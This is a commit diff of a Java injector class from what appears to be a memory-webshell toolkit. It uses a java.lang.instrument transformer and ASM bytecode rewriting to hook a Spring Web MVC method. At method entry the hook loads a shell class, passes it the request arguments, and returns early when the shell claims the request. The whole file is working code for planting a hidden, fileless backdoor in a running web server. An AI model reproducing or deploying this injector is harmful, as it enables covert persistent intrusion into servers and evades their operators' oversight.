11package com .reajason .javaweb .memshell .springwebmvc .injector ;
22
3- import com .reajason .javaweb .memshell .injector .tomcat .TomcatFilterChainAgentInjector ;
43import org .objectweb .asm .*;
5- import org .objectweb .asm .commons .AdviceAdapter ;
6- import org .objectweb .asm .commons .Method ;
74
8- import java .io .ByteArrayOutputStream ;
9- import java .io .InputStream ;
105import java .lang .instrument .ClassFileTransformer ;
116import java .lang .instrument .Instrumentation ;
127import java .security .ProtectionDomain ;
@@ -48,7 +43,6 @@ private static void launch(Instrumentation inst) throws Exception {
4843 public byte [] transform (final ClassLoader loader , String className , Class <?> classBeingRedefined ,
4944 ProtectionDomain protectionDomain , byte [] bytes ) {
5045 if (TARGET_CLASS .equals (className )) {
51- defineTargetClass (loader );
5246 try {
5347 ClassReader cr = new ClassReader (bytes );
5448 ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES ) {
@@ -76,7 +70,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
7670 MethodVisitor mv = super .visitMethod (access , name , descriptor , signature , exceptions );
7771 if (TARGET_METHOD_NAME .equals (name )) {
7872 try {
79- return new CustomMethodVisitor (mv , access , name , descriptor );
73+ Type [] argumentTypes = Type .getArgumentTypes (descriptor );
74+ return new AgentShellMethodVisitor (mv , argumentTypes , getClassName ());
8075 } catch (Exception e ) {
8176 e .printStackTrace ();
8277 }
@@ -86,63 +81,90 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
8681 };
8782 }
8883
89- @ SuppressWarnings ("all" )
90- public static class CustomMethodVisitor extends AdviceAdapter {
91- private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method .getMethod ("void <init> ()" );
92- private static final Method CUSTOM_EQUALS_METHOD = Method .getMethod ("boolean equals (java.lang.Object)" );
93- private final Type customEqualsType ;
94-
95- protected CustomMethodVisitor (MethodVisitor mv , int access , String name , String descriptor ) {
96- super (Opcodes .ASM9 , mv , access , name , descriptor );
97- customEqualsType = Type .getObjectType (getClassName ().replace ('.' , '/' ));
84+ public static class AgentShellMethodVisitor extends MethodVisitor {
85+ private final Type [] argumentTypes ;
86+ private final String className ;
87+
88+ public AgentShellMethodVisitor (MethodVisitor mv , Type [] argTypes , String className ) {
89+ super (Opcodes .ASM9 , mv );
90+ this .argumentTypes = argTypes ;
91+ this .className = className ;
9892 }
9993
10094 @ Override
101- protected void onMethodEnter () {
95+ public void visitCode () {
10296 loadArgArray ();
103- newInstance (customEqualsType );
104- dup ();
105- invokeConstructor (customEqualsType , CUSTOM_EQUALS_CONSTRUCTOR );
106- swap ();
107- invokeVirtual (customEqualsType , CUSTOM_EQUALS_METHOD );
108- Label skipReturnLabel = new Label ();
109- mv .visitJumpInsn (IFEQ , skipReturnLabel );
110- mv .visitInsn (RETURN );
111- mark (skipReturnLabel );
97+ Label tryStart = new Label ();
98+ Label tryEnd = new Label ();
99+ Label catchHandler = new Label ();
100+ Label ifConditionFalse = new Label ();
101+ Label skipCatchBlock = new Label ();
102+ mv .visitTryCatchBlock (tryStart , tryEnd , catchHandler , "java/lang/Throwable" );
103+
104+ mv .visitLabel (tryStart );
105+ mv .visitLdcInsn (className );
106+ mv .visitInsn (Opcodes .ICONST_1 );
107+ mv .visitMethodInsn (Opcodes .INVOKESTATIC ,
108+ "java/lang/ClassLoader" ,
109+ "getSystemClassLoader" ,
110+ "()Ljava/lang/ClassLoader;" ,
111+ false );
112+ mv .visitMethodInsn (Opcodes .INVOKESTATIC ,
113+ "java/lang/Class" ,
114+ "forName" ,
115+ "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;" ,
116+ false );
117+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL ,
118+ "java/lang/Class" ,
119+ "newInstance" ,
120+ "()Ljava/lang/Object;" ,
121+ false );
122+ mv .visitInsn (Opcodes .SWAP );
123+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL ,
124+ "java/lang/Object" ,
125+ "equals" ,
126+ "(Ljava/lang/Object;)Z" ,
127+ false );
128+ mv .visitJumpInsn (Opcodes .IFEQ , ifConditionFalse );
129+ mv .visitInsn (Opcodes .RETURN );
130+ mv .visitLabel (ifConditionFalse );
131+ mv .visitLabel (tryEnd );
132+ mv .visitJumpInsn (Opcodes .GOTO , skipCatchBlock );
133+ mv .visitLabel (catchHandler );
134+ mv .visitInsn (Opcodes .POP );
135+ mv .visitLabel (skipCatchBlock );
112136 }
113- }
114137
115- @ SuppressWarnings ("all" )
116- public void defineTargetClass (ClassLoader loader ) {
117- byte [] classBytecode = new byte [0 ];
118- InputStream is = null ;
119- try {
120- is = this .getClass ().getClassLoader ().getResourceAsStream (getClassName ().replace ('.' , '/' ) + ".class" );
121- if (is == null ) {
122- return ;
123- }
124- ByteArrayOutputStream baos = new ByteArrayOutputStream ();
125- byte [] buffer = new byte [1024 ];
126- int len ;
127- while ((len = is .read (buffer )) != -1 ) {
128- baos .write (buffer , 0 , len );
138+ public void loadArgArray () {
139+ mv .visitIntInsn (Opcodes .SIPUSH , argumentTypes .length );
140+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Object" );
141+ for (int i = 0 ; i < argumentTypes .length ; i ++) {
142+ mv .visitInsn (Opcodes .DUP );
143+ push (i );
144+ mv .visitVarInsn (argumentTypes [i ].getOpcode (Opcodes .ILOAD ), getArgIndex (i ));
145+ mv .visitInsn (Type .getType (Object .class ).getOpcode (Opcodes .IASTORE ));
129146 }
130- classBytecode = baos .toByteArray ();
131- } catch (Exception ignored ) {
132-
133- } finally {
134- if (is != null ) {
135- try {
136- is .close ();
137- } catch (Exception ignored ) {
138- }
147+ }
148+
149+ @ SuppressWarnings ("all" )
150+ public void push (final int value ) {
151+ if (value >= -1 && value <= 5 ) {
152+ mv .visitInsn (Opcodes .ICONST_0 + value );
153+ } else if (value >= Byte .MIN_VALUE && value <= Byte .MAX_VALUE ) {
154+ mv .visitIntInsn (Opcodes .BIPUSH , value );
155+ } else if (value >= Short .MIN_VALUE && value <= Short .MAX_VALUE ) {
156+ mv .visitIntInsn (Opcodes .SIPUSH , value );
157+ } else {
158+ mv .visitLdcInsn (new Integer (value ));
139159 }
140160 }
141- try {
142- java .lang .reflect .Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
143- defineClass .setAccessible (true );
144- defineClass .invoke (loader , classBytecode , 0 , classBytecode .length );
145- } catch (Exception ignored ) {
161+
162+ private int getArgIndex (final int arg ) {
163+ int index = 1 ;
164+ for (int i = 0 ; i < arg ; i ++) {
165+ index += argumentTypes [i ].getSize ();
166+ }
167+ return index ;
146168 }
147169 }
148170}
0 commit comments